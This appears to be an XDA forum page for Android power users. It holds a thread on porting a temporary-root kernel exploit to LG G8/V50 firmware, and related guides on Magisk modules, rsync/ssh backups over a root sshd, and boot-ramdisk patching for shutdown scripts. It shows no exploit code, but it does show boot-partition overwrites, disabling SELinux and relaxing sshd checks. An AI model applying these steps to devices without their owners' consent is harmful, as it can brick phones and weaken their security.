@KamioRinn, unfortunately I do not have an easy method to find all the offsets - it involves some reverse engineering work and it needs target kernel image.
Which G8/V50 would you like to get support for?
Just point me to a downloadable kdz and I can try to add support for it.

j4nn said:
@KamioRinn, unfortunately I do not have an easy method to find all the offsets - it involves some reverse engineering work and it needs target kernel image.
Which G8/V50 would you like to get support for?
Just point me to a downloadable kdz and I can try to add support for it.
Click to expand...
Click to collapse
Thanks.
The att version can't get ota in our country. They still use um10i version.
But I can't find the kdz of um10i. Maybe same as qm10i(G820QM10i_00_NAO_US_OP_0401)

j4nn said:
@KamioRinn, unfortunately I do not have an easy method to find all the offsets - it involves some reverse engineering work and it needs target kernel image.
Which G8/V50 would you like to get support for?
Just point me to a downloadable kdz and I can try to add support for it.
Click to expand...
Click to collapse
Can you do it for Verizon LG G8? G820UM (20a, 20b) so that the temporary root works

@j4nn
Could you please tell me which kdz is the base for "LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2' target"
---------- Post added at 14:24 ---------- Previous post was at 14:24 ----------
[/COLOR @j4nn
Could you please tell me which kdz is the base for "LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2' target"

j4nn said:
@KamioRinn, unfortunately I do not have an easy method to find all the offsets - it involves some reverse engineering work and it needs target kernel image.
Which G8/V50 would you like to get support for?
Just point me to a downloadable kdz and I can try to add support for it.
Click to expand...
Click to collapse
Hello, I private messaged you a bit earlier. So I'm on November patch, and that means there is no way for you to make it work then?

@KamioRinn, @motogvasyag, @antintin
guys, please try all available -t num options and see which one of them can get the furthest with the log, then post it here in a text form since beginning, so we can see which factoryversion is on the phone and which one -t worked the best.
I need a kernel binary image that is running on the phone unfortunately.
@tron1, that is from G820UM20b_02_VZW_US_OP_0212.

j4nn said:
@KamioRinn, @motogvasyag, @antintin
guys, please try all available -t num options and see which one of them can get the furthest with the log, then post it here in a text form since beginning, so we can see which factoryversion is on the phone and which one -t worked the best.
I need a kernel binary image that is running on the phone unfortunately.
@tron1, that is from G820UM20b_02_VZW_US_OP_0212.
Click to expand...
Click to collapse
Sure, all the g8 forced options give me the exact same results. I'll just include the one from -t 0 in the results I show, but they each restart my phone on the same step. The v50 forced options get stuck a bit earlier.

Related

Xiaomi Mi A2, auto reboot on usb power on

Hello people,
I need a xiaomi phone to boot when usb power is turned on.
Stock boot image
Android 9 PKQ1.180904.001.V10.0.8.0.PDIMIXM
What I tried so far:
#1 Battery animation file
I found some solutions for samsung smartphones modifing charger animation files.
system/bin/lpd
system/bin/lpod
--> Did not find such file. My /System/bin/ contains:
Code:
acpi dd input mknod rmdir tc-wrapper-1.0
am debuggerd insmod mkswap rmmod tee
app_process dex2oat ionice mktemp run-as telecom
app_process32 dexdiag iorenice modinfo runcon time
app_process64 dexdump ip modprobe schedtest timeout
applypatch dexlist ip-wrapper-1.0 monkey screencap tinycap
appops df ip6tables more screenrecord tinymix
appwidget diff ip6tables-restore mount secdiscard tinypcminfo
atrace dirname ip6tables-save mountpoint secilc tinyplay
awk dmesg ip6tables-wrapper-1.0 move_time_data.sh sed toolbox
base64 dos2unix iptables mv sendevent top
basename dpm iptables-restore ndc sensors_test touch
bcc du iptables-save ndc-wrapper-1.0 sensorservice toybox
blockdev dumpsys iptables-wrapper-1.0 netstat seq tr
bmgr echo iw newfs_msdos service true
bu egrep keystore_cli_v2 nice setenforce truncate
bugreport env kill nl setprop tty
bugreportz expand killall nohup setsid tzdatacheck
bunzip2 expr ld.mc oatdump settings uiautomator
bzcat fallocate linker od sh ulimit
bzip2 false linker64 paste sha1sum umount
cal fgrep linker_asan patch sha224sum uname
cat file linker_asan64 patchoat sha256sum uniq
chcon find ln perfetto sha384sum unix2dos
chgrp flock load_policy pgrep sha512sum update_engine_client
chmod fmt locksettings pidof simg2img uptime
chown free log ping sleep usleep
chroot getenforce logcat ping6 sm uudecode
chrt getevent logname pkill sort uuencode
cksum getprop logwrapper pm split vmstat
clear grep losetup pmap start vr
cmd groups ls ppd stat wc
cmp gunzip lshal printenv stop which
comm gzip lsmod printf strings whoami
content head lsof ps stty wigig_logcollector
cp hid lspci pvclicense_sample svc wigig_remoteserver
cpio host_manager_11ad lsusb pwd swapoff wigig_wiburn
crash_dump32 hostname md5sum readlink swapon wm
crash_dump64 hw media realpath sync xargs
curl hwclock microcom reboot sysctl xxd
cut id mkdir renice tac yes
dalvikvm ifconfig mkfifo requestsync tail zcat
dalvikvm32 ime mkfs.ext2 resize2fs tar
dalvikvm64 incident mkfs.ext3 restorecon taskset
date inotifyd mkfs.ext4 rm tc
#2 Ram Disk modification
I pulled the /System/bin/reboot file using adb shell and extracted the boot.img using android kitchen 3.5 from the forum.
Verified that everything works by unpacking/repacking/flasing boot image.
https://forum.xda-developers.com/showthread.php?t=2073775
- replaced the /ramdisk/sbin/charger file with the reboot file
--> battery animation is still there but nothing happens
- modified the charger file according to this discussion: https://forum.xda-developers.com/ga...-os-auto-boot-charge-connected-t3626364/page2
--> battery animation gone but stuck at google logo
- modified /ramdisk/init.rc and added:
on charger
trigger late-init
--> battery animation gone but stuck at google logo
- deleted /sbin/charger and charger service in init.rc and flashed image to both boot slots
--> changes nothing, battery animation will still show up.
- searched for battery/animation files / images in the ramdisk, but there seems to be nothing.
What else could I try?
Why isnt it working as expected?
Would flashing LineageOS or getting root access change anything?
UPDATE
--> here you can find a solution
[Q] Power on when plugged in (boot when docked)?
Many Greetings & Thanks alot,
himi

How To Guide How to backup the data from the phone using rsync and ssh (including some hints for using sshd on an Android phone)

How to backup the data from the phone using rsync and ssh (including some hints for using sshd on an Android phone)
Like for all computer it's important to have a backup of the data on the phone.
For those who like me don't like to store their private data in one of the suspicious clouds there is a solution with standard Linux tools:
Use rsync and ssh to backup the data from the phone to your local workstation (see the man page for rsync for details regarding rsync and why it is useful for this task)
The neccessary tools for Android for this method can be installed with the Magisk Module MagiskSSH.
Download the Magisk Module with MagiskSSH from here
https://gitlab.com/d4rcm4rc/MagiskSSH_releases
Copy the ZIP file with the Magisk Module to the phone :
Code:
adb push magisk_ssh_v0.14.zip /sdcard/Download/
and install it via the module installation from within the Magisk App or manuell using :
Code:
adb shell su - -c /data/adb/magisk/magisk64 --install-module /sdcard/Download/magisk_ssh_v0.14.zip
Sample output of the installation:
Code:
ASUS_I006D:/ # /data/adb/magisk/magisk64 --install-module /sdcard/Download/magisk_ssh_v0.14.zip
- Current boot slot: _a
- Device is system-as-root
*******************************
OpenSSH for Android
*******************************
[0/7] Preparing module directory
[1/7] Extracting architecture unspecific module files
[2/7] Extracting libraries and binaries for arm64
[3/7] Configuring library path wrapper
[4/7] Recreating symlinks
[5/7] Creating SSH user directories
[6/7] Found sshd_config, will not copy a default one
[7/7] Cleaning up
- Setting permissions
- Done
ASUS_I006D:/ #
A reboot is required now.
Code:
adb shell reboot
For the next tasks open an adb shell and become root user.
Next create the authorized_keys file for the user root :
Code:
touch /data/ssh/root/.ssh/authorized_keys
chmod 600 /data/ssh/root/.ssh/authorized_keys
and add your public ssh key to the file /data/ssh/root/.ssh/authorized_keys.
To make sure that the keys and other data files for the MagiskSSH module are not removed while deinstalling the module you should create the file /data/ssh/KEEP_ON_UNINSTALL:
Code:
touch /data/ssh/KEEP_ON_UNINSTALL
The MagiskSSH module also installs a service to start sshd after each reboot: to disable this start create the file /data/ssh/no-autostart:
Code:
touch /data/ssh/no-autostart
To manually start or stop the sshd use the script /data/adb/modules/ssh/opensshd.init :
Code:
# start the sshd (as user root)
#
/data/adb/modules/ssh/opensshd.init start
# to stop the sshd (as user root)
#
/data/adb/modules/ssh/opensshd.init stop
Now test the access via ssh from your Linux workstation:
Code:
ssh -l root <phone_ip_address> id
Use this command to retrieve the current IP address of the phone:
Code:
PHONE_IP_ADDRESS=$( adb shell ifconfig wlan0 | grep "inet addr:" | sed -e "s/.*inet addr://g" -e "s/[[:space:]]*Bcast.*//g" )
example :
Code:
[[email protected] ~]$ ssh -l root ${PHONE_IP_ADDRESS} id
uid=0(root) gid=0(root) groups=0(root) context=u:r:magisk:s0
[[email protected] ~]$
Now you can use rsync to backup the data from the phone, e.g. to backup the photos from the phone do :
Code:
# on your local Linux workstation do:
# start the sshd on the phone via adb if not already running
#
adb shell su - -c /data/adb/modules/ssh/opensshd.init start
# retrieve the current IP address from the phone
#
PHONE_IP_ADDRESS=$( adb shell ifconfig wlan0 | grep "inet addr:" | sed -e "s/.*inet addr://g" -e "s/[[:space:]]*Bcast.*//g" )
# backup the new photos from the phone to the Linux workstation (rsync only copies new files from the phone)
# to the local directory /data/backup/ASUS_ZENFONE8/DCIM
#
rsync -av --rsync-path /data/adb/modules/ssh/usr/bin/rsync [email protected]${PHONE_IP_ADDRESS}:/sdcard/DCIM/ /data/backup/ASUS_ZENFONE8/DCIM
# optional stop the sshd on the phone via adb
#
adb shell su - -c /data/adb/modules/ssh/opensshd.init stop
Note: The sshd configuration file used is /data/ssh/sshd_config
Sample Script to backup all data in the directory /sdcard
Code:
##!/bin/bash
#
# simple script to backup the data of an phone using adb, ssh, and rsync
#
# History
# 27.06.2022 /bs
# initial release
#
# for testing
#
#RSYNC_OPTIONS="${RSYNC_OPTIONS} --dry-run"
RSYNC_OPTIONS="${RSYNC_OPTIONS} --del "
# default is to backup the phone connected via adb over LAN
#
[ $# -ne 0 ] && ADB_OPTIONS="$*" || ADB_OPTIONS="-e"
# retrieve the serial number of the attached phone
#
SERIAL_NO="$( adb ${ADB_OPTIONS} shell getprop ro.serialno )"
if [ "${SERIAL_NO}"x = ""x ] ; then
echo "ERROR: Can not read the serial number of the connected phone"
exit 89
fi
VENDOR_MODEL="$( adb ${ADB_OPTIONS} shell getprop ro.product.vendor.model )"
# directory for the backup
#
BACKUP_DIR="/data/backup/ASUS_ZENFONE8/data_backup/${VENDOR_MODEL}_${SERIAL_NO}"
if [ ! -d "${BACKUP_DIR}" ] ; then
echo "ERROR: The directory \"${BACKUP_DIR}\" does not exist"
exit 99
fi
PHONE_IP_ADDRESS="$( adb ${ADB_OPTIONS} shell ifconfig wlan0 | grep "inet addr:" | sed -e "s/.*inet addr://g" -e "s/[[:space:]]*Bcast.*//g" )"
if [ "${PHONE_IP_ADDRESS}"x = ""x ] ; then
echo "ERROR: Can not detect the IP address of the phone"
exit 100
fi
echo "Updating a backup of the data on the phone with the serial number \"${SERIAL_NO}\" and the IP \"${PHONE_IP_ADDRESS}\" to the directory \"${BACKUP_DIR}\" ..."
set -x
# start the sshd if neccessary
#
adb ${ADB_OPTIONS} shell su - -c /data/adb/modules/ssh/opensshd.init start
# do the backup
#
time rsync ${RSYNC_OPTIONS} -av --rsync-path /data/adb/modules/ssh/usr/bin/rsync [email protected]${PHONE_IP_ADDRESS}:/sdcard/ "${BACKUP_DIR}/"
# stop the sshd
#
adb ${ADB_OPTIONS} shell su - -c /data/adb/modules/ssh/opensshd.init stop
set +x
How to enable access via ssh for non-root user
In the standard configuration installed by MagiskSSH ssh access is only allowed as user root because the ssh keys are in the directory /data and all non-root user can not read files in the directory /data. Therefor some efforts are neccessary to add ssh access for non-root user.
e.g. To enable the ssh access for the user shell do:
To configure ssh access for the user shell we must create a .ssh directory for the user shell in a directory tree owned by the user shell. The only directory on the phone owned by the user shell that can be used for this purpose is /storage :
Code:
ASUS_I006D:/ # ls -ld /storage
drwx--x--- 4 shell everybody 80 2022-06-26 18:37 /storage
ASUS_I006D:/ #
But unfortunately all files and directories in this directory are temporary and will be deleted after a reboot of the phone.
Therefor we configure a startup script in Magisk to create this directory tree after each reboot, e.g.
/data/adb/service.d/create_ssh_dir_for_shell.sh:
Code:
# /data/adb/service.d/create_ssh_dir_for_shell.sh
#
mkdir -p /storage/shell/.ssh
chmod -R 700 /storage/shell/
touch /storage/shell/.ssh/authorized_keys
echo "<ssh_public_key>" > /storage/shell/.ssh/authorized_keys
chmod 600 /storage/shell/.ssh/authorized_keys
chown -R shell:shell /storage/shell
Make the script executable:
Code:
su - -c chmod +x data/adb/service.d/create_ssh_dir_for_shell.sh
To test the script just execute it one time manually as user root.
Code:
su - -c sh data/adb/service.d/create_ssh_dir_for_shell.sh
Now create a backup of the sshd config file
Code:
su - -c cp /data/ssh/sshd_config /storage/ssh/sshd_config.org.$$
and add these lines at the end of the file /data/ssh/sshd_config
Code:
Match User shell
AuthorizedKeysFile /storage/shell/.ssh/authorized_keys
Restart the sshd if it's already running
Now test the access as user shell, example:
Code:
[[email protected] ~]$ ssh -l shell 192.168.1.148 id
uid=2000(shell) gid=2000(shell) groups=2000(shell) context=u:r:magisk:s0
[[email protected] ~]$
The reason for this config is the setting "StrictMode yes" in the sshd config file /data/ssh/sshd_config (see the man page for sshd_config for details). So another "solution" is to change this setting:
With the setting "StrictModes no" in the file sshd_config the directory with the authorized_keys file for the non-root users can be anywhere (for example in /sdcard/shell)
Execute as user root:
Code:
sed -i -e "s/.*StrictModes.*//g" -e "s/UsePrivilegeSeparation/StrictModes no\nUsePrivilegeSeparation/g" /data/ssh/sshd_config
and change the entry in the file /data/ssh/sshd_config for the authorized_keys file for the user shell, for example:
Code:
Match User shell
AuthorizedKeysFile /sdcard/shell/.ssh/authorized_keys
Afterwards restart the sshd:
Code:
/data/adb/modules/ssh/opensshd.init stop
/data/adb/modules/ssh/opensshd.init start
Now create the directories and files neccessary for the ssh access (see above) in the directory /sdcard/shell:
Code:
SUS_I006D:/ # find /sdcard/shell -exec ls -ld {} \;
drwxrws--- 3 u0_a118 media_rw 3452 2022-06-26 18:32 /sdcard/shell
drwxrws--- 2 u0_a118 media_rw 3452 2022-06-26 18:32 /sdcard/shell/.ssh
-rw-rw---- 1 u0_a118 media_rw 408 2022-06-26 18:32 /sdcard/shell/.ssh/authorized_keys
ASUS_I006D:/ #
and the access as user shell via ssh should work

Magisk Module Keylayout for ps4 controller [HELP]

Hello, I'm new here so please excuse me if I post this in the wrong section.
I have a OnePlus 7t on Android 11 with Magisk installed.
I am trying to swap the R3 with Circle on my controller. In the keylayout file it shows that R3 is in fact Circle but doesn't work in games. ( Reverts to default controller mapping)
I have already edited and successfully changed the keylayout file for my PS4 Controller ( Vendor_054c_Product_09cc.kl ) by creating a magisk module since I'm on a stock Os and cant copy the .kl file over to system/usr/keylayouts . SEE BELOW
Code:
# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Sony Playstation(R) DualShock 4 Controller
#
# Mapping according to https://developer.android.com/training/game-controllers/controller-input.html
# Square
key 0x130 BUTTON_X
# Cross
key 0x131 BUTTON_A
# Circle
key 0x132 BUTTON_THUMBR
# Triangle
key 0x133 BUTTON_Y
key 0x134 BUTTON_L1
key 0x135 BUTTON_R1
key 0x136 BUTTON_L2
key 0x137 BUTTON_R2
# L2 axis
axis 0x03 LTRIGGER
# R2 axis
axis 0x04 RTRIGGER
# Left Analog Stick
axis 0x00 X
axis 0x01 Y
# Right Analog Stick
axis 0x02 Z
axis 0x05 RZ
# Left stick click
key 0x13a BUTTON_THUMBL
# Right stick click
key 0x13b BUTTON_B
# Hat
axis 0x10 HAT_X
axis 0x11 HAT_Y
# Mapping according to https://www.kernel.org/doc/Documentation/input/gamepad.txt
# Share
key 0x138 BUTTON_SELECT
# Options
key 0x139 BUTTON_START
# PS key
key 0x13c BUTTON_MODE
# Touchpad press
# The touchpad for this joystick will become a separate input device in future releases
# and this button will be equivalent to left mouse button
# Therefore, map it to KEYCODE_BUTTON_1 here to allow apps to still handle this on earlier versions
key 0x13d BUTTON_1
I've made sure the permissions are set correctly as well as seen in the install.sh
Code:
##########################################################################################
#
# Magisk Module Installer Script
#
##########################################################################################
##########################################################################################
#
# Instructions:
#
# 1. Place your files into system folder (delete the placeholder file)
# 2. Fill in your module's info into module.prop
# 3. Configure and implement callbacks in this file
# 4. If you need boot scripts, add them into common/post-fs-data.sh or common/service.sh
# 5. Add your additional or modified system properties into common/system.prop
#
##########################################################################################
##########################################################################################
# Config Flags
##########################################################################################
# Set to true if you do *NOT* want Magisk to mount
# any files for you. Most modules would NOT want
# to set this flag to true
SKIPMOUNT=false
# Set to true if you need to load system.prop
PROPFILE=false
# Set to true if you need post-fs-data script
POSTFSDATA=false
# Set to true if you need late_start service script
LATESTARTSERVICE=false
##########################################################################################
# Replace list
##########################################################################################
# List all directories you want to directly replace in the system
# Check the documentations for more info why you would need this
# Construct your list in the following format
# This is an example
REPLACE_EXAMPLE="
/system/app/Youtube
/system/priv-app/SystemUI
/system/priv-app/Settings
/system/framework
"
# Construct your own list here
REPLACE="/system/usr/keylayout/Vendor_054c_Product_09cc.kl"
##########################################################################################
#
# Function Callbacks
#
# The following functions will be called by the installation framework.
# You do not have the ability to modify update-binary, the only way you can customize
# installation is through implementing these functions.
#
# When running your callbacks, the installation framework will make sure the Magisk
# internal busybox path is *PREPENDED* to PATH, so all common commands shall exist.
# Also, it will make sure /data, /system, and /vendor is properly mounted.
#
##########################################################################################
##########################################################################################
#
# The installation framework will export some variables and functions.
# You should use these variables and functions for installation.
#
# ! DO NOT use any Magisk internal paths as those are NOT public API.
# ! DO NOT use other functions in util_functions.sh as they are NOT public API.
# ! Non public APIs are not guranteed to maintain compatibility between releases.
#
# Available variables:
#
# MAGISK_VER (string): the version string of current installed Magisk
# MAGISK_VER_CODE (int): the version code of current installed Magisk
# BOOTMODE (bool): true if the module is currently installing in Magisk Manager
# MODPATH (path): the path where your module files should be installed
# TMPDIR (path): a place where you can temporarily store files
# ZIPFILE (path): your module's installation zip
# ARCH (string): the architecture of the device. Value is either arm, arm64, x86, or x64
# IS64BIT (bool): true if $ARCH is either arm64 or x64
# API (int): the API level (Android version) of the device
#
# Availible functions:
#
# ui_print <msg>
# print <msg> to console
# Avoid using 'echo' as it will not display in custom recovery's console
#
# abort <msg>
# print error message <msg> to console and terminate installation
# Avoid using 'exit' as it will skip the termination cleanup steps
#
# set_perm <target> <owner> <group> <permission> [context]
# if [context] is empty, it will default to "u:object_r:system_file:s0"
# this function is a shorthand for the following commands
# chown owner.group target
# chmod permission target
# chcon context target
#
# set_perm_recursive <directory> <owner> <group> <dirpermission> <filepermission> [context]
# if [context] is empty, it will default to "u:object_r:system_file:s0"
# for all files in <directory>, it will call:
# set_perm file owner group filepermission context
# for all directories in <directory> (including itself), it will call:
# set_perm dir owner group dirpermission context
#
##########################################################################################
##########################################################################################
# If you need boot scripts, DO NOT use general boot scripts (post-fs-data.d/service.d)
# ONLY use module scripts as it respects the module status (remove/disable) and is
# guaranteed to maintain the same behavior in future Magisk releases.
# Enable boot scripts by setting the flags in the config section above.
##########################################################################################
# Set what you want to display when installing your module
print_modname() {
ui_print "*******************************"
ui_print " Ps4 Controller Crouch Fix "
ui_print "*******************************"
}
# Copy/extract your module files into $MODPATH in on_install.
on_install() {
# The following is the default implementation: extract $ZIPFILE/system to $MODPATH
# Extend/change the logic to whatever you want
ui_print "- Extracting module files"
unzip -o "$ZIPFILE" 'system/*' -d $MODPATH >&2
ui_print "- deleting package cache"
rm -rf /data/system/package_cache/*
}
# Only some special files require specific permissions
# This function will be called after on_install is done
# The default permissions should be good enough for most cases
set_permissions() {
# The following is the default rule, DO NOT remove
set_perm_recursive $MODPATH 0 0 0755 0644
set_perm $MODPATH/system/usr/keylayout/Vendor_054c_Product_09cc.kl 0 0 0744
# Here are some examples:
# set_perm_recursive $MODPATH/system/lib 0 0 0755 0644
# set_perm $MODPATH/system/bin/app_process32 0 2000 0755 u:object_r:zygote_exec:s0
# set_perm $MODPATH/system/bin/dex2oat 0 2000 0755 u:object_r:dex2oat_exec:s0
# set_perm $MODPATH/system/lib/libart.so 0 0 0644
}
# You can add more functions to assist your custom script code
So basically everything seems to be correct but yet in games and gamepad tester the control functions as default ( R3 is not circle)
I've attached images showing im rooted and have the module succesfully installed and enabled, also showing the permissions of the .kl file in the keylayout folder.
Please help! and thank you in advance.

How To Guide How to run a script at shutdown

How to run a script at shutdown
To define additional startup scripts via Magisk the Magisk directories /data/adb/service.d and /data/adb/post-fs-data.d can be used. Unfortunately there is no equivalent for scripts that should be executed during shutdown.
So we must use other methods to implement these kind of scripts.
Using the overlay feature of Magisk to run a script at shutdown
Introduction
in Android it is possible to define actions that will be executed when certain conditions are satisfied.
These definitions are done in the file init.rc (and other .rc files) using the Android Init Language.
And this feature can be used to execute a command when the phone is shutting down.
Note:
For details about the Android Init Language used for these files see here https://android.googlesource.com/platform/system/core/+/master/init/README.md
The .rc files used by Android are in the directories
/system/etc/init​/vendor/etc/init​/odm/etc/init​
Note: The first .rc file read is /system/etc/init/hw/init.rc
Unfortunately it's useless to change the .rc files in these directories using the Magisk features to change files in the directory /system because these files are processed by the OS before the new files are "created" by Magisk.
Therefor the overlay functionality from Magisk must be used to create additional .rc files (see the section Root Directory Overlay System on this page https://github.com/topjohnwu/Magisk/blob/master/docs/guides.md for details about this Magisk Feature).
Preparation
To be able to restore the original boot partition in case of an error create an image of the original boot partition from the phone on your PC before starting the development:
Code:
CUR_SLOT=$( adb shell getprop ro.boot.slot_suffix )
adb shell su - -c dd if=/dev/block/by-name/boot${CUR_SLOT} | cat >boot${CUR_SLOT}
e.g.
Code:
[ OmniRomDev - [email protected] /data/develop/android/test ] $ CUR_SLOT=$( adb shell getprop ro.boot.slot_suffix )
[ OmniRomDev - [email protected] /data/develop/android/test ] $ echo ${CUR_SLOT}
_b
[ OmniRomDev - [email protected] /data/develop/android/test ] $
[ OmniRomDev - [email protected] /data/develop/android/test ] $ adb shell su - -c dd if=/dev/block/by-name/boot${CUR_SLOT} | cat >boot${CUR_SLOT}.img
196608+0 records in
196608+0 records out
100663296 bytes (96 M) copied, 2.668147 s, 36 M/s
[ OmniRomDev - [email protected] /data/develop/android/test ]
[ OmniRomDev - [email protected] /data/develop/android/test ] $ ls -ltr boot${CUR_SLOT}.img
-rw-r--r--. 1 xtrnaw7 xtrnaw7 100663296 Oct 1 12:13 boot_b.img
[ OmniRomDev - [email protected] /data/develop/android/test ] $
To trouble shoot issues with this approach it is highly recommended to create an Magisk init script in the directory
/data/adb/post-fs-data.d
to fetch and store the Android logs into a persistent file. Use these commands to create the script:
Code:
cat >/data/adb/post-fs-data.d/0002logcatboot <<-EOT
mkdir -p /cache/logs
# backup the OS logs from before the reboot:
#
[ -r /cache/logs/log ] && mv /cache/logs/log /cache/logs/oldlog
/system/bin/logcat -r 102400 -n 9 -v threadTime -f /cache/logs/log >/cache/logs/info.log 2>/cache/logs/err.log &
EOT
chmod 755 /data/adb/post-fs-data.d/0001logcatboot
Using this script the log messages from before the last reboot are stored in the file /cache/logs/oldlog.
To activate the script the phone must be rebooted.
Check the contents of the directory /cache/logs/log after the reboot as user root to be sure that it works.
Code:
[email protected]_I006D:/ $ su - -c ls -ltr /cache/logs
total 205008
-rw-rw-rw- 1 root root 0 1970-01-06 08:16 info.log
-rw-rw-rw- 1 root root 0 1970-01-06 08:16 err.log
-rw-r----- 1 root root 4707523 2022-10-01 17:29 log
[email protected]_I006D:/ $
Details
The trigger in the .rc files for the action that should be done while shutting down is
on shutdown
The trigger can be used more then once; the OS will execute all defined actions for the trigger in the order they are found in the rc files.
The action to run an executable in the .rc file is
exec [ <seclabel> [ <user> [ <group>\* ] ] ] -- <command> [ <argument>\* ]
Fork and execute command with the given arguments. The command starts after “--” so that an optional security context, user, and supplementary groups can be provided. No other commands will be run until this one finishes. seclabel can be a - to denote default. Properties are expanded within argument. Init halts executing commands until the forked process exits.
Click to expand...
Click to collapse
In Android SELinux is enabled by default. Therefor it's neccessary to use the correct SELinux context for the files used.
(Note: The SELinux context for the init process executing the action is u:r:init:0 )
It's quite difficult to find the correct SELinux contexts in Android for this approach therefor it's better to use the general SELinux context defined by Magisk: u:r:magisk:s0 .
Implementation
Note:
All commands must be done as user root in an session on the phone or in an adb session.
So first create the neccessary directories and files:
Code:
mkdir -p /data/init_scripts
mkdir -p /data/init_scripts/log
Create the script to execute on shutdown:
Code:
cat >/data/init_scripts/my_shutdown.sh <<-\EOT
#!/system/bin/sh
SHUTDOWN_LOG="/data/init_scripts/log/myshutdown.$$.log"
echo "$0: Shutdown with parameter \"$*\" started at $( date ) " >>${SHUTDOWN_LOG}
echo "*** id : " >>${SHUTDOWN_LOG} 2>&1
id >>${SHUTDOWN_LOG} 2>&1
# ... add necessary commands ...
EOT
chmod 755 /data/init_scripts/my_shutdown.sh
Correct the SELinux context:
Code:
chcon -R u:r:magisk:s0 /data/init_scripts/
Check the result
Code:
[email protected]_I006D:/ # find /data/init_scripts/ -exec ls -ld {} \;
drwxr-xr-x 3 root root u:r:magisk:s0 3452 2022-10-01 16:12 /data/init_scripts/
-rwxr-xr-x 1 root root u:r:magisk:s0 637 2022-10-01 16:12 /data/init_scripts/my_shutdown.sh
drwxr-xr-x 2 root root u:r:magisk:s0 3452 2022-10-01 16:16 /data/init_scripts/log
[email protected]_I006D:/ #
Create a working directory:
Code:
#
# create a working directory
#
mkdir -p /data/adb/workdir
cd /data/adb/workdir
Now create the additional .rc file:
Code:
#
# change the current directory to the working directory
#
cd /data/adb/workdir
cat >init.custom.rc <<-\EOT
on shutdown
exec u:r:magisk:s0 -- /system/bin/sh /data/init_scripts/my_shutdown.sh 0008
on early-init
setprop my_custom_rc_file loaded
EOT
Note:
The additional trigger for early-init is for testing the new .rc file (see the trouble shooting section below for details). Magisk supports more then one .rc file; the name of the .rc file is meaningless but the extension must be .rc.
And now add the new file to the ramdisk on the boot partition:
Code:
#
# change the current directory to the working directory
#
cd /data/adb/workdir
# get the current active slot
#
CURRENT_SLOT=$( getprop ro.boot.slot_suffix )
echo "The current active slot is: ${CURRENT_SLOT}"
# copy the boot partition from the active slot to a file
#
dd if=/dev/block/by-name/boot${CURRENT_SLOT} of=./boot_root.img
# unpack the image file
#
/data/adb/magisk/magiskboot unpack ./boot_root.img
# add the new dirs and files to the ramdisk from the boot partition
#
/data/adb/magisk/magiskboot cpio ramdisk.cpio \
"mkdir 0700 overlay.d" \
"add 0700 overlay.d/init.custom.rc init.custom.rc"
# recreate the image file for the boot partition
#
/data/adb/magisk/magiskboot repack boot_root.img
# write the corrected image file to the boot partition
#
dd if=./new-boot.img of=/dev/block/by-name/boot${CURRENT_SLOT}
Note:
The commands to unpack and pack the ramdisk manually using the cpio command are (if NOT using the Magisk binary magiskboot):
Code:
RAMDISK=$PWD/ramdisk
mkdir ${RAMDISK}
cd ${RAMDISK}
# unpack the ramdisk
#
cpio -idm <../ramdisk.cpio
# ... do what ever is necessary with the files/dirs in ${RAMDISK}
# pack the ramdisk again
#
cd ${RAMDISK}
find . | cpio -o >../ramdisk.cpio
Now reboot the phone to activate the new .rc config and after the reboot check that the .rc file was processed
Code:
getprop my_custom_rc_file
e.g
Code:
[email protected]_I006D:/ $ getprop my_custom_rc_file
loaded
[email protected]_I006D:/ $
If the property defined in the .rc file, my_custom_rc_file, is not set something went wrong and you should check the OS logs and double check your config.
If the new property is defined you can test the shutdown action by rebooting the phone again.
While doing this reboot the new shutdown script should be executed and after the reboot is done there should be the log file from the shutdown script:
Code:
[email protected]_I006D:/ $ su -
[email protected]_I006D:/ # ls -l /data/init_scripts/log
total 0
-rw------- 1 root root 179 2022-10-01 18:23 myshutdown.4617.log
[email protected]_I006D:/ # cat /data/init_scripts/log/myshutdown.4617.log
/data/init_scripts/my_shutdown.sh: Shutdown with parameter "0008" started at Sat Oct 1 18:23:14 CEST 2022
*** id :
uid=0(root) gid=0(root) groups=0(root) context=u:r:magisk:s0
[email protected]_I006D:/ #
That's it.
Note that you can change the script executed while doing the shutdown without changing the boot image again.
But you should always test the script before rebooting -- an error in your script may stop the reboot.
To change the additional .rc files it's necessary to recreate the ramdisk and boot partition.
The filesystems for /data and for /sdcard are still mounted while executing the actions for the trigger "on shutdown" .
To log the current environment while executing the shutdown script you can add code like this to the script:
Code:
(
echo
echo "*** Environment while executing the shutdown script ..."
echo
echo "*** pwd: "
pwd
echo
echo "*** id: "
id
echo
echo "*** df -h: "
df -h
echo
echo "*** ps -efZ : "
ps -efZ
echo
echo "*** env: "
env
echo
echo "*** set: "
set
echo
) >>/data/init_scripts/log/myshutdown_env.log 2>&1
To create a directory in which other actions from the .rc file (like write) can write with SELinux enabled use one of the SELInux contexts the init process can write to, e.g:
Code:
mkdir /data/system_data
chcon u:object_r:system_data_file:s0 /data/system_data
Now the .rc config
Code:
on shutdown
write /data/system_data/myshutdown.log Shutdown_started\n
will work.
See the file ./plat_file_contexts in the ramdisk from the boot partition for other existing SELinux contexts, e.g.:
Code:
[email protected]_I006D:/data/adb/test # /data/adb/magisk/magiskboot cpio ramdisk.cpio "extract plat_file_contexts plat_file_contexts" <
Loading cpio: [ramdisk.cpio]
Extract [plat_file_contexts] to [plat_file_contexts]
[email protected]_I006D:/data/adb/test # ls -l plat_file_contexts
-rw-r--r-- 1 root root 40490 2022-10-03 16:27 plat_file_contexts
[email protected]_I006D:/data/adb/test #
Please be aware that these changes will be gone after the next OS update. But on the other hand it's quite easy to create a script to re-install the shutdown script without user intervention.
Trouble Shooting
The main reason for problems with this approach are invalid SELinux contexts. Therefor you should test your script in permissive SELinux mode if it does not work like expected. To do that temporary disable SELinux before rebooting (SELinux will be automatically enabled again after the reboot), e.g.:
Code:
# set SELinux to permissive
#
setenforce 0
reboot
and check the log messages in the directory /cache/logs/oldlog for SELinux related messages:
Code:
su - -c grep deny /cache/logs/oldlog
Note that you can not disable SELinux in an action in an .rc file.
